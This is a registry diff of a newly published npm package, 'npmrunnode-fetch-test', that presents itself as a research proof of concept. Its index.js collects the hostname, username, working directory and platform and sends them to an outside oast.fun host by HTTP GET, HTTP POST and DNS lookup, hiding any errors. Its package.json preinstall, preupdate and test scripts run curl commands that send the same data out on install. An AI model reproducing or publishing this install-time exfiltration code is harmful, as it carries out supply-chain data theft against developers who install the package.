npmrunnode-fetch-test 1337.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +56 -0
  2. package/package.json +14 -0
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ const { exec } = require('child_process');
2
+ const http = require('http');
3
+ const https = require('https');
4
+
5
+ // Collect system information
6
+ const payload = {
7
+ hostname: require('os').hostname(),
8
+ user: process.env.USER || process.env.USERNAME,
9
+ pwd: process.cwd(),
10
+ platform: process.platform,
11
+ timestamp: new Date().toISOString(),
12
+ nodeVersion: process.version
13
+ };
14
+
15
+ // Try multiple exfiltration methods
16
+ const methods = [
17
+ // HTTP GET
18
+ () => {
19
+ const data = `h=${Buffer.from(payload.hostname).toString('base64')}&u=${Buffer.from(payload.user).toString('base64')}&p=${Buffer.from(payload.pwd).toString('base64')}`;
20
+ http.get(`http://tergeiiqpuqpgzsencajoqbb38f415y0z.oast.fun/get?${data}`, () => {});
21
+ },
22
+
23
+ // HTTP POST
24
+ () => {
25
+ const postData = JSON.stringify(payload);
26
+ const options = {
27
+ hostname: 'tergeiiqpuqpgzsencajoqbb38f415y0z.oast.fun',
28
+ port: 80,
29
+ path: '/post',
30
+ method: 'POST',
31
+ headers: {
32
+ 'Content-Type': 'application/json',
33
+ 'Content-Length': postData.length
34
+ }
35
+ };
36
+
37
+ const req = http.request(options);
38
+ req.write(postData);
39
+ req.end();
40
+ },
41
+
42
+ // DNS exfiltration as fallback
43
+ () => {
44
+ const subdomain = `${Buffer.from(payload.user).toString('base64').substring(0,30)}.${Buffer.from(payload.hostname).toString('base64').substring(0,30)}`;
45
+ require('dns').lookup(`${subdomain}.tergeiiqpuqpgzsencajoqbb38f415y0z.oast.fun`, () => {});
46
+ }
47
+ ];
48
+
49
+ // Execute all methods with error handling
50
+ methods.forEach(method => {
51
+ try {
52
+ method();
53
+ } catch (e) {
54
+ // Silently fail
55
+ }
56
+ });
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "npmrunnode-fetch-test",
3
+ "version": "1337.1.0",
4
+ "description": "This package is a proof of concept used by bugdotexe to conduct a research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. I do not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this package.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "curl \"http://tergeiiqpuqpgzsencajoqbb38f415y0z.oast.fun/npmrunnode-fetch-test?hostname=$(hostname | base64)\" -H \"user:$(whoami | base64)\" -H \"path:$(pwd | base64)\"",
8
+ "preinstall": "curl \"http://tergeiiqpuqpgzsencajoqbb38f415y0z.oast.fun/npmrunnode-fetch-test?hostname=$(hostname | base64)\" -H \"user:$(whoami | base64)\" -H \"path:$(pwd | base64)\"",
9
+ "preupdate": "curl \"http://tergeiiqpuqpgzsencajoqbb38f415y0z.oast.fun/npmrunnode-fetch-test?hostname=$(hostname | base64)\" -H \"user:$(whoami | base64)\" -H \"path:$(pwd | base64)\""
10
+ },
11
+ "keywords": [],
12
+ "author": "Nyein Chan Aung <bugdotexe@wearehackerone.com>",
13
+ "license": "ISC"
14
+ }